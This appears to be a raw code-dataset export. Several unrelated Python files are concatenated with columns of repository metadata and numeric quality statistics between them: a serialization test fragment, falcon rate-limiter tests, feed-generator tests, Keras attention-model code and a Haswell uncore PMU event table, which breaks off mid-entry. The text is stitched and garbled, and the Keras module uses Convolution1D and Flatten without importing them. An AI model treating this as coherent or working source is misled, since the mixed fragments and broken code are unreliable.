def test_json_deserialize_from_invalid_json(self):
json_data = '{"code": "401", "message": "message", "wrong_field": "target"}'
test_object = ErrorResponse()
with pytest.raises(WrongFieldError):
assert test_object.json_deserialize(json_data)
def test_json_serialize(self):
code = "400"
message = "message"
target = "target"
details = "details"
test_object = ErrorResponse(
code=code,
message=message,
target=target,
details=details
)
serialized_data = test_object.json_serialize()
assert serialized_data["code"] == code
assert serialized_data["message"] == message
assert serialized_data["target"] == target
assert serialized_data["details"] == details
| 34.570922
| 118
| 0.641707
| 1,022
| 9,749
| 5.832681
| 0.059687
| 0.176145
| 0.174467
| 0.048482
| 0.864788
| 0.860091
| 0.826371
| 0.80557
| 0.743667
| 0.681094
| 0
| 0.010697
| 0.261668
| 9,749
| 281
| 119
| 34.69395
| 0.817449
| 0.003488
| 0
| 0.745536
| 0
| 0.008929
| 0.11237
| 0
| 0
| 0
| 0
| 0
| 0.352679
| 1
| 0.071429
| false
| 0
| 0.013393
| 0
| 0.098214
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9308caec3b65df2c898c17d1c67c55da493103e9
| 49
|
py
|
Python
|
qtpyvcp/widgets/display_widgets/__init__.py
|
Lcvette/qtpyvcp
|
4143a4a4e1f557f7d0c8998c886b4a254f0be60b
|
[
"BSD-3-Clause-LBNL",
"MIT"
] | 1
|
2020-09-27T15:46:26.000Z
|
2020-09-27T15:46:26.000Z
|
qtpyvcp/widgets/display_widgets/__init__.py
|
adargel/qtpyvcp
|
2fcb9c26616ac4effa8d92befa9e1c00a80daafa
|
[
"BSD-3-Clause-LBNL",
"MIT"
] | null | null | null |
qtpyvcp/widgets/display_widgets/__init__.py
|
adargel/qtpyvcp
|
2fcb9c26616ac4effa8d92befa9e1c00a80daafa
|
[
"BSD-3-Clause-LBNL",
"MIT"
] | null | null | null |
from vtk_backplot.vtk_backplot import VTKBackPlot
| 49
| 49
| 0.918367
| 7
| 49
| 6.142857
| 0.714286
| 0.511628
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.061224
| 49
| 1
| 49
| 49
| 0.934783
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
934fc96b1b6f5bdcdec783bb5f202162b86e2a0d
| 3,684
|
py
|
Python
|
tests/test_deduct_when.py
|
zoltan-fedor/falcon-limiter
|
76f7078638f270e4e43e3ab36ba6038e5101cf43
|
[
"MIT"
] | 6
|
2021-04-08T13:23:30.000Z
|
2022-03-29T18:16:57.000Z
|
tests/test_deduct_when.py
|
zoltan-fedor/falcon-limits
|
e145c8b6cb9567fa1df1bbc4430c673bb0a34f48
|
[
"MIT"
] | 2
|
2022-01-19T10:11:22.000Z
|
2022-01-22T19:36:44.000Z
|
tests/test_deduct_when.py
|
zoltan-fedor/falcon-limits
|
e145c8b6cb9567fa1df1bbc4430c673bb0a34f48
|
[
"MIT"
] | null | null | null |
""" Testing the deduct_when option
"""
from falcon import API, testing, HTTP_200, HTTP_429, HTTP_500
from falcon_limiter import Limiter
from falcon_limiter.utils import get_remote_addr
from time import sleep
def test_deduct_when_http200_as_default_deduct():
""" Test using the default_deduct_when option to deduct only when the response is 200
"""
limiter = Limiter(
key_func=get_remote_addr,
default_limits=["10 per hour", "1 per second"],
default_deduct_when=lambda req, resp, resource, req_succeeded: resp.status == HTTP_200
)
@limiter.limit()
class ThingsResource:
def on_get(self, req, resp):
resp.body = 'Hello world!'
def on_post(self, req, resp):
resp.body = 'Hello world!'
resp.status = HTTP_500
app = API(middleware=limiter.middleware)
app.add_route('/things', ThingsResource())
client = testing.TestClient(app)
# this is a 500 response, so it should NOT count!
r = client.simulate_post('/things')
assert r.status == HTTP_500
r = client.simulate_get('/things')
assert r.status == HTTP_200
# due to the 1 second default limit on the default limiter
r = client.simulate_get('/things')
assert r.status == HTTP_429
sleep(1)
r = client.simulate_get('/things')
assert r.status == HTTP_200
def test_deduct_when_http200_as_class_decorator():
""" Test using the deduct_when option on a class decorator to deduct only when the response is 200
"""
limiter = Limiter(
key_func=get_remote_addr,
default_limits=["10 per hour", "1 per second"]
)
@limiter.limit(deduct_when=lambda req, resp, resource, req_succeeded: resp.status == HTTP_200)
class ThingsResource:
def on_get(self, req, resp):
resp.body = 'Hello world!'
def on_post(self, req, resp):
resp.body = 'Hello world!'
resp.status = HTTP_500
app = API(middleware=limiter.middleware)
app.add_route('/things', ThingsResource())
client = testing.TestClient(app)
# this is a 500 response, so it should NOT count!
r = client.simulate_post('/things')
assert r.status == HTTP_500
r = client.simulate_get('/things')
assert r.status == HTTP_200
# due to the 1 second default limit on the default limiter
r = client.simulate_get('/things')
assert r.status == HTTP_429
sleep(1)
r = client.simulate_get('/things')
assert r.status == HTTP_200
def test_deduct_when_http200_as_method_decorator():
""" Test using the deduct_when option on a method decorator to deduct only when the response is 200
"""
limiter = Limiter(
key_func=get_remote_addr,
default_limits=["10 per hour", "1 per second"]
)
@limiter.limit()
class ThingsResource:
def on_get(self, req, resp):
resp.body = 'Hello world!'
@limiter.limit(deduct_when=lambda req, resp, resource, req_succeeded: resp.status == HTTP_200)
def on_post(self, req, resp):
resp.body = 'Hello world!'
resp.status = HTTP_500
app = API(middleware=limiter.middleware)
app.add_route('/things', ThingsResource())
client = testing.TestClient(app)
# this is a 500 response, so it should NOT count!
r = client.simulate_post('/things')
assert r.status == HTTP_500
r = client.simulate_get('/things')
assert r.status == HTTP_200
# due to the 1 second default limit on the default limiter
r = client.simulate_get('/things')
assert r.status == HTTP_429
sleep(1)
r = client.simulate_get('/things')
assert r.status == HTTP_200
| 29.007874
| 103
| 0.65798
| 507
| 3,684
| 4.607495
| 0.143984
| 0.077055
| 0.077055
| 0.097603
| 0.89726
| 0.89726
| 0.88613
| 0.88613
| 0.88613
| 0.851884
| 0
| 0.03746
| 0.239142
| 3,684
| 126
| 104
| 29.238095
| 0.795933
| 0.172096
| 0
| 0.846154
| 0
| 0
| 0.081484
| 0
| 0
| 0
| 0
| 0
| 0.153846
| 1
| 0.115385
| false
| 0
| 0.051282
| 0
| 0.205128
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
93593f4af908d93beab77955da1858ad3e147c55
| 5,010
|
py
|
Python
|
tests/test_feedgenerator.py
|
ankurRakuten/WebHelper
|
5e36d75161588260371978b8a42f4adf1f0ec252
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_feedgenerator.py
|
ankurRakuten/WebHelper
|
5e36d75161588260371978b8a42f4adf1f0ec252
|
[
"BSD-3-Clause"
] | null | null | null |
tests/test_feedgenerator.py
|
ankurRakuten/WebHelper
|
5e36d75161588260371978b8a42f4adf1f0ec252
|
[
"BSD-3-Clause"
] | 1
|
2019-07-31T11:00:05.000Z
|
2019-07-31T11:00:05.000Z
|
import datetime
from nose.tools import eq_
import webhelpers.feedgenerator as fg
def test_simple_feed():
pubdate = datetime.datetime(2009, 12, 18, 23, 45, 12)
feed = fg.Rss201rev2Feed(
title="Poynter E-Media Tidbits",
link="http://www.poynter.org/column.asp?id=31",
description="A group weblog by the sharpest minds in online media/journalism/publishing.",
language="en",
)
feed.add_item(
title="Hello",
link="http://www.holovaty.com/test/",
description="Testing.",
pubdate=pubdate)
result = feed.writeString("utf-8")
control = """<?xml version="1.0" encoding="utf-8"?>\n<rss version="2.0"><channel><title>Poynter E-Media Tidbits</title><link>http://www.poynter.org/column.asp?id=31</link><description>A group weblog by the sharpest minds in online media/journalism/publishing.</description><language>en</language><lastBuildDate>Fri, 18 Dec 2009 23:45:12 -0000</lastBuildDate><item><title>Hello</title><link>http://www.holovaty.com/test/</link><description>Testing.</description><pubDate>Fri, 18 Dec 2009 23:45:12 -0000</pubDate></item></channel></rss>"""
eq_(result, control)
def test_escaping():
pubdate = datetime.datetime(2009, 12, 18, 23, 45, 12)
feed = fg.Rss201rev2Feed(
title="Poynter E-Media Tidbits",
link="http://www.poynter.org/column.asp?id=31",
description="A group weblog by the <em>sharpest</em> minds in online media & journalism.",
language="en",
)
feed.add_item(
title="Hello",
link="http://www.holovaty.com/test/",
description="Testing.",
pubdate=pubdate)
result = feed.writeString("utf-8")
control = """<?xml version="1.0" encoding="utf-8"?>\n<rss version="2.0"><channel><title>Poynter E-Media Tidbits</title><link>http://www.poynter.org/column.asp?id=31</link><description>A group weblog by the <em>sharpest</em> minds in online media & journalism.</description><language>en</language><lastBuildDate>Fri, 18 Dec 2009 23:45:12 -0000</lastBuildDate><item><title>Hello</title><link>http://www.holovaty.com/test/</link><description>Testing.</description><pubDate>Fri, 18 Dec 2009 23:45:12 -0000</pubDate></item></channel></rss>"""
eq_(result, control)
def test_geo_point_feed():
pubdate = datetime.datetime(2009, 12, 18, 23, 45, 12)
feed = fg.GeoAtom1Feed(
title="Poynter E-Media Tidbits",
link="http://www.poynter.org/column.asp?id=31",
description="A group weblog by the sharpest minds in online media/journalism/publishing.",
language="en",
)
feed.add_item(
title="Hello",
link="http://www.holovaty.com/test/",
description="Testing.",
pubdate=pubdate,
geometry=(-120.5, 50.5))
result = feed.writeString("utf-8")
f = open("/tmp/feed", "w")
f.write(result)
f.close()
control = """<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:georss="http://www.georss.org/georss" xml:lang="en"><title>Poynter E-Media Tidbits</title><link href="http://www.poynter.org/column.asp?id=31" rel="alternate"></link><id>http://www.poynter.org/column.asp?id=31</id><updated>2009-12-18T23:45:12Z</updated><entry><title>Hello</title><link href="http://www.holovaty.com/test/" rel="alternate"></link><updated>2009-12-18T23:45:12Z</updated><published>2009-12-18T23:45:12Z</published><id>tag:www.holovaty.com,2009-12-18:/test/</id><summary type="html">Testing.</summary><georss:point>-120.500000 50.500000</georss:point></entry></feed>"""
eq_(result, control)
def test_geo_point_feed_longitude_first():
pubdate = datetime.datetime(2009, 12, 18, 23, 45, 12)
feed = fg.GeoAtom1Feed(
title="Poynter E-Media Tidbits",
link="http://www.poynter.org/column.asp?id=31",
description="A group weblog by the sharpest minds in online media/journalism/publishing.",
language="en",
)
feed.is_input_latitude_first = False
feed.add_item(
title="Hello",
link="http://www.holovaty.com/test/",
description="Testing.",
pubdate=pubdate,
geometry=(50.5, -120.5))
result = feed.writeString("utf-8")
f = open("/tmp/feed", "w")
f.write(result)
f.close()
control = """<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:georss="http://www.georss.org/georss" xml:lang="en"><title>Poynter E-Media Tidbits</title><link href="http://www.poynter.org/column.asp?id=31" rel="alternate"></link><id>http://www.poynter.org/column.asp?id=31</id><updated>2009-12-18T23:45:12Z</updated><entry><title>Hello</title><link href="http://www.holovaty.com/test/" rel="alternate"></link><updated>2009-12-18T23:45:12Z</updated><published>2009-12-18T23:45:12Z</published><id>tag:www.holovaty.com,2009-12-18:/test/</id><summary type="html">Testing.</summary><georss:point>-120.500000 50.500000</georss:point></entry></feed>"""
eq_(result, control)
| 58.255814
| 630
| 0.667265
| 728
| 5,010
| 4.56044
| 0.157967
| 0.046386
| 0.039759
| 0.051205
| 0.938855
| 0.930422
| 0.930422
| 0.930422
| 0.922289
| 0.922289
| 0
| 0.076244
| 0.141317
| 5,010
| 85
| 631
| 58.941176
| 0.69549
| 0
| 0
| 0.782051
| 0
| 0.051282
| 0.629541
| 0.20479
| 0
| 0
| 0
| 0
| 0
| 1
| 0.051282
| false
| 0
| 0.038462
| 0
| 0.089744
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
fa75d43990a53b042ea2481ecfb53bc293a93108
| 7,395
|
py
|
Python
|
src/attention_models.py
|
talshapira/SASA
|
70db6ba36d7602e46fbb95b6a3cac822c8af2ab9
|
[
"MIT"
] | null | null | null |
src/attention_models.py
|
talshapira/SASA
|
70db6ba36d7602e46fbb95b6a3cac822c8af2ab9
|
[
"MIT"
] | null | null | null |
src/attention_models.py
|
talshapira/SASA
|
70db6ba36d7602e46fbb95b6a3cac822c8af2ab9
|
[
"MIT"
] | null | null | null |
from keras.models import Model
from keras.layers import Layer, Input, Dense, Activation, Bidirectional, TimeDistributed, Embedding
from keras.layers.recurrent import LSTM
from keras.layers.normalization import BatchNormalization
from self_attention import SDPA, SDPA_Q_S, SASA, SDPA_QS_KS, SDPA_Mul_S
ATTENTION_NAME_TYPE_DICT = {'SDPA': SDPA, 'SDPA_Q_S': SDPA_Q_S, 'SASA': SASA, 'SDPA_QS_KS': SDPA_QS_KS, 'SDPA_Mul_S': SDPA_Mul_S}
def SimpleBlock(inputs, dilation_rate=2):
out = Convolution1D(nb_filter=100, dilation_rate=dilation_rate, filter_length=3, border_mode='same')(inputs)
out = BatchNormalization()(out)
return Activation('relu')(out)
def TCNBlock(inputs): ### Assuming after regular 1DConv
out = SimpleBlock(inputs, 1)
out = SimpleBlock(inputs, 2)
return SimpleBlock(out, 4)
def LSTM_attention_model_with_sources(input_shape, attention, sources_num=5, use_embedding=False, num_categories=None, embedding_vecor_length=32, no_lstm=False, blstm=True):
max_len = input_shape[0]
inputs = Input(shape=input_shape)
if not use_embedding:
conv1d_out = TimeDistributed(Dense(32))(inputs)
else:
embedding = Embedding(num_categories, embedding_vecor_length, input_length=max_len)(inputs)
conv1d_out = TimeDistributed(Dense(32))(embedding)
sources = Input(shape=(max_len,)) #,1
# conv1d_out = Convolution1D(nb_filter=32, filter_length=3, border_mode='same')(inputs)
conv1d_out = BatchNormalization()(conv1d_out)
conv1d_out = Activation('relu')(conv1d_out)
if no_lstm:
lstm_out = TCNBlock(conv1d_out)
else:
if blstm:
lstm_out = Bidirectional(LSTM(100, return_sequences=True))(conv1d_out)
else:
lstm_out = LSTM(100, return_sequences=True)(conv1d_out)
attention_mul, scores, e_sources, sources_scores = attention(lstm_out, sources, sources_num)
attention_mul = Flatten()(attention_mul)
output = Dense(1, activation='sigmoid', name='output')(attention_mul)
model = Model(inputs=[inputs, sources], outputs=output)
return model
def attention_LSTM_model_with_sources(input_shape, attention, sources_num=5, use_embedding=False, num_categories=None, embedding_vecor_length=32, no_lstm=False, blstm=True):
max_len = input_shape[0]
inputs = Input(shape=input_shape)
if not use_embedding:
conv1d_out = TimeDistributed(Dense(32))(inputs)
else:
embedding = Embedding(num_categories, embedding_vecor_length, input_length=max_len)(inputs)
conv1d_out = TimeDistributed(Dense(32))(embedding)
sources = Input(shape=(max_len,)) #,1
# conv1d_out = Convolution1D(nb_filter=32, filter_length=3, border_mode='same')(inputs)
conv1d_out = BatchNormalization()(conv1d_out)
conv1d_out = Activation('relu')(conv1d_out)
attention_mul, scores, e_sources, sources_scores = attention(conv1d_out, sources, sources_num)
if no_lstm:
lstm_out = Flatten()(TCNBlock(attention_mul))
else:
if blstm:
# print("attention_mul", attention_mul.shape)
lstm_out = Bidirectional(LSTM(100, return_sequences=False))(attention_mul)
else:
lstm_out = LSTM(100, return_sequences=False)(attention_mul)
# print("lstm_out", lstm_out.shape)
output = Dense(1, activation='sigmoid', name='output')(lstm_out)
# print("output", output.shape)
model = Model(inputs=[inputs, sources], outputs=output)
return model
def LSTM_attention_model(input_shape, use_embedding=False, num_categories=None, embedding_vecor_length=32, no_lstm=False, blstm=True):
max_len = input_shape[0]
inputs = Input(shape=input_shape)
if not use_embedding:
conv1d_out = TimeDistributed(Dense(32))(inputs)
else:
embedding = Embedding(num_categories, embedding_vecor_length, input_length=max_len)(inputs)
conv1d_out = TimeDistributed(Dense(32))(embedding)
# conv1d_out = Convolution1D(nb_filter=32, filter_length=3, border_mode='same')(inputs)
conv1d_out = BatchNormalization()(conv1d_out)
conv1d_out = Activation('relu')(conv1d_out)
if no_lstm:
lstm_out = TCNBlock(conv1d_out)
else:
if blstm:
lstm_out = Bidirectional(LSTM(100, return_sequences=True))(conv1d_out)
else:
lstm_out = LSTM(100, return_sequences=True)(conv1d_out)
attention_mul, scores = SDPA(lstm_out)
attention_mul = Flatten()(attention_mul)
output = Dense(1, activation='sigmoid')(attention_mul)
model = Model(inputs=[inputs], outputs=output)
return model
def attention_LSTM_model(input_shape, use_embedding=False, num_categories=None, embedding_vecor_length=32, no_lstm=False, blstm=True):
##############################ScaledDotProductAttention
max_len = input_shape[0]
inputs = Input(shape=input_shape)
# conv1d_out = Convolution1D(nb_filter=32, filter_length=3, border_mode='same')(inputs)
if not use_embedding:
conv1d_out = TimeDistributed(Dense(32))(inputs)
else:
embedding = Embedding(num_categories, embedding_vecor_length, input_length=max_len)(inputs)
conv1d_out = TimeDistributed(Dense(32))(embedding)
conv1d_out = BatchNormalization()(conv1d_out)
conv1d_out = Activation('relu')(conv1d_out)
attention_mul, scores = SDPA(conv1d_out)
if no_lstm:
lstm_out = TCNBlock(attention_mul)
else:
if blstm:
lstm_out = Bidirectional(LSTM(100, return_sequences=False))(attention_mul)
else:
lstm_out = LSTM(100, return_sequences=False)(attention_mul)
output = Dense(1, activation='sigmoid',name="output")(lstm_out)
model = Model(inputs=[inputs], outputs=output)
return model
def generate_model(input_shape, attention_name, use_sources, use_embedding=False, num_categories=5, embedding_vecor_length=32, attention_first=True, blstm=True, no_lstm=False):
attention = ATTENTION_NAME_TYPE_DICT[attention_name]
if use_sources:
if not attention_first:
model = LSTM_attention_model_with_sources(input_shape, attention=attention, use_embedding=use_embedding,
num_categories=num_categories, embedding_vecor_length=embedding_vecor_length,
no_lstm=no_lstm, blstm=blstm)
else:
model = attention_LSTM_model_with_sources(input_shape, attention=attention, use_embedding=use_embedding,
num_categories=num_categories, embedding_vecor_length=embedding_vecor_length,
no_lstm=no_lstm, blstm=blstm)
else:
if not attention_first:
model = LSTM_attention_model(input_shape, use_embedding=use_embedding,
num_categories=num_categories, embedding_vecor_length=embedding_vecor_length,
no_lstm=no_lstm, blstm=blstm)
else:
model = attention_LSTM_model(input_shape, use_embedding=use_embedding,
num_categories=num_categories, embedding_vecor_length=embedding_vecor_length,
no_lstm=no_lstm, blstm=blstm)
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
return model
| 50.650685
| 176
| 0.693036
| 906
| 7,395
| 5.347682
| 0.103753
| 0.066873
| 0.070175
| 0.047884
| 0.809082
| 0.796491
| 0.774407
| 0.764912
| 0.734985
| 0.693705
| 0
| 0.021291
| 0.206085
| 7,395
| 145
| 177
| 51
| 0.803952
| 0.072752
| 0
| 0.709677
| 0
| 0
| 0.020106
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.056452
| false
| 0
| 0.040323
| 0
| 0.153226
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
fa8b8f44a18c01ec2f03487dd26b0f129b23ea71
| 722,780
|
py
|
Python
|
pmu-tools-master/ucevent/hsx_uc.py
|
patinnc/60secs
|
45ad68e4359e0dfd506f9e3a898c216ed38e7fd0
|
[
"MIT"
] | null | null | null |
pmu-tools-master/ucevent/hsx_uc.py
|
patinnc/60secs
|
45ad68e4359e0dfd506f9e3a898c216ed38e7fd0
|
[
"MIT"
] | null | null | null |
pmu-tools-master/ucevent/hsx_uc.py
|
patinnc/60secs
|
45ad68e4359e0dfd506f9e3a898c216ed38e7fd0
|
[
"MIT"
] | 1
|
2021-03-22T20:38:10.000Z
|
2021-03-22T20:38:10.000Z
|
# HSX hsxuc_events.v1.00p hsxuc_derived.v1.00p
# aliases
aliases = {
"QPIRxMatch1": "Q_Py_PCI_RX_PMON_BOX_MATCH1",
"QPIRxMask1": "Q_Py_PCI_RX_PMON_BOX_MASK1",
"IRPFilter": "IRP_PCI_PMON_BOX_FILTER",
"PCUFilter": "PCU_MSR_PMON_BOX_FILTER",
"QPIRxMask0": "Q_Py_PCI_RX_PMON_BOX_MASK0",
"CBoFilter0": "Cn_MSR_PMON_BOX_FILTER",
"HA_AddrMatch0": "HAn_PCI_PMON_BOX_ADDRMATCH0",
"QPITxMatch0": "Q_Py_PCI_TX_PMON_BOX_MATCH0",
"HA_AddrMatch1": "HAn_PCI_PMON_BOX_ADDRMATCH1",
"QPITxMask0": "Q_Py_PCI_TX_PMON_BOX_MASK0",
"QPITxMask1": "Q_Py_PCI_TX_PMON_BOX_MASK1",
"QPITxMatch1": "Q_Py_PCI_TX_PMON_BOX_MATCH1",
"HA_OpcodeMatch": "HAn_PCI_PMON_BOX_OPCODEMATCH",
"QPIRxMatch0": "Q_Py_PCI_RX_PMON_BOX_MATCH0",
"CBoFilter1": "Cn_MSR_PMON_BOX_FILTER1",
"UBoxFilter": "U_MSR_PMON_BOX_FILTER",
}
events = {
# iMC:
"iMC.ACT_COUNT": {
"Box": "iMC",
"Category": "iMC ACT Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Activate commands sent on this channel. Activate commands are issued to open up a page on the DRAM devices so that it can be read or written to with a CAS. One can calculate the number of Page Misses by subtracting the number of Page Miss precharges from the number of Activates.",
"Desc": "DRAM Activate Count",
"EvSel": 1,
"ExtSel": "",
},
"iMC.ACT_COUNT.BYP": {
"Box": "iMC",
"Category": "iMC ACT Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Activate commands sent on this channel. Activate commands are issued to open up a page on the DRAM devices so that it can be read or written to with a CAS. One can calculate the number of Page Misses by subtracting the number of Page Miss precharges from the number of Activates.",
"Desc": "DRAM Activate Count",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"iMC.ACT_COUNT.RD": {
"Box": "iMC",
"Category": "iMC ACT Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Activate commands sent on this channel. Activate commands are issued to open up a page on the DRAM devices so that it can be read or written to with a CAS. One can calculate the number of Page Misses by subtracting the number of Page Miss precharges from the number of Activates.",
"Desc": "DRAM Activate Count",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.ACT_COUNT.WR": {
"Box": "iMC",
"Category": "iMC ACT Events",
"Counters": "0-3",
"Defn": "Counts the number of DRAM Activate commands sent on this channel. Activate commands are issued to open up a page on the DRAM devices so that it can be read or written to with a CAS. One can calculate the number of Page Misses by subtracting the number of Page Miss precharges from the number of Activates.",
"Desc": "DRAM Activate Count",
"EvSel": 1,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.BYP_CMDS": {
"Box": "iMC",
"Category": "iMC BYPASS Command Events",
"Counters": "0-3",
"EvSel": 161,
"ExtSel": "",
},
"iMC.BYP_CMDS.PRE": {
"Box": "iMC",
"Category": "iMC BYPASS Command Events",
"Counters": "0-3",
"EvSel": 161,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.BYP_CMDS.CAS": {
"Box": "iMC",
"Category": "iMC BYPASS Command Events",
"Counters": "0-3",
"EvSel": 161,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.BYP_CMDS.ACT": {
"Box": "iMC",
"Category": "iMC BYPASS Command Events",
"Counters": "0-3",
"EvSel": 161,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.CAS_COUNT": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
},
"iMC.CAS_COUNT.RD_UNDERFILL": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.CAS_COUNT.RD_RMM": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxx1xxxxx",
},
"iMC.CAS_COUNT.RD_REG": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxxxx1",
},
"iMC.CAS_COUNT.WR": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "b00001100",
},
"iMC.CAS_COUNT.RD": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "b00000011",
},
"iMC.CAS_COUNT.WR_RMM": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxx1xxx",
},
"iMC.CAS_COUNT.WR_WMM": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.CAS_COUNT.ALL": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "b00001111",
},
"iMC.CAS_COUNT.RD_WMM": {
"Box": "iMC",
"Category": "iMC PRE Events",
"Counters": "0-3",
"Defn": "DRAM RD_CAS and WR_CAS Commands",
"Desc": "DRAM RD_CAS and WR_CAS Commands.",
"EvSel": 4,
"ExtSel": "",
"Umask": "bxxx1xxxx",
},
"iMC.DCLOCKTICKS": {
"Box": "iMC",
"Category": "iMC DCLK Events",
"Counters": "0-3",
"Desc": "DRAM Clockticks",
"EvSel": 0,
"ExtSel": "",
},
"iMC.DRAM_PRE_ALL": {
"Box": "iMC",
"Category": "iMC DRAM_PRE_ALL Events",
"Counters": "0-3",
"Defn": "Counts the number of times that the precharge all command was sent.",
"Desc": "DRAM Precharge All Commands",
"EvSel": 6,
"ExtSel": "",
},
"iMC.DRAM_REFRESH": {
"Box": "iMC",
"Category": "iMC DRAM_REFRESH Events",
"Counters": "0-3",
"Defn": "Counts the number of refreshes issued.",
"Desc": "Number of DRAM Refreshes Issued",
"EvSel": 5,
"ExtSel": "",
},
"iMC.DRAM_REFRESH.HIGH": {
"Box": "iMC",
"Category": "iMC DRAM_REFRESH Events",
"Counters": "0-3",
"Defn": "Counts the number of refreshes issued.",
"Desc": "Number of DRAM Refreshes Issued",
"EvSel": 5,
"ExtSel": "",
"Umask": "bxxxxx1xx",
},
"iMC.DRAM_REFRESH.PANIC": {
"Box": "iMC",
"Category": "iMC DRAM_REFRESH Events",
"Counters": "0-3",
"Defn": "Counts the number of refreshes issued.",
"Desc": "Number of DRAM Refreshes Issued",
"EvSel": 5,
"ExtSel": "",
"Umask": "bxxxxxx1x",
},
"iMC.ECC_CORRECTABLE_ERRORS": {
"Box": "iMC",
"Category": "iMC ECC Events",
"Counters": "0-3",
"Defn": "Counts the number of ECC errors detected and corrected by the iMC on this channel. This counter is only useful with ECC DRAM devices. This count will increment one time for each correction regardless of the number of bits corrected. The iMC can correct up to 4 bit errors in independent channel mode and 8 bit erros in lockstep mode.",
"Desc": "ECC Correctable Errors",
"EvSel": 9,
"ExtSel": "",
},
"iMC.MAJOR_MODES": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Defn": "Counts the total number of cycles spent in a major mode (selected by a filter) on the given channel. Major modea are channel-wide, and not a per-rank (or dimm or bank) mode.",
"Desc": "Cycles in a Major Mode",
"EvSel": 7,
"ExtSel": "",
},
"iMC.MAJOR_MODES.ISOCH": {
"Box": "iMC",
"Category": "iMC MAJOR_MODES Events",
"Counters": "0-3",
"Defn": "Counts the total number of cycles spent in a major mode (selected by a filter) on the given channel. Major modea are channel-wide, and not a per-rank (or dimm or bank) mode.",
"Desc": "Cycles in a Major Mode",
"EvSel": 7,
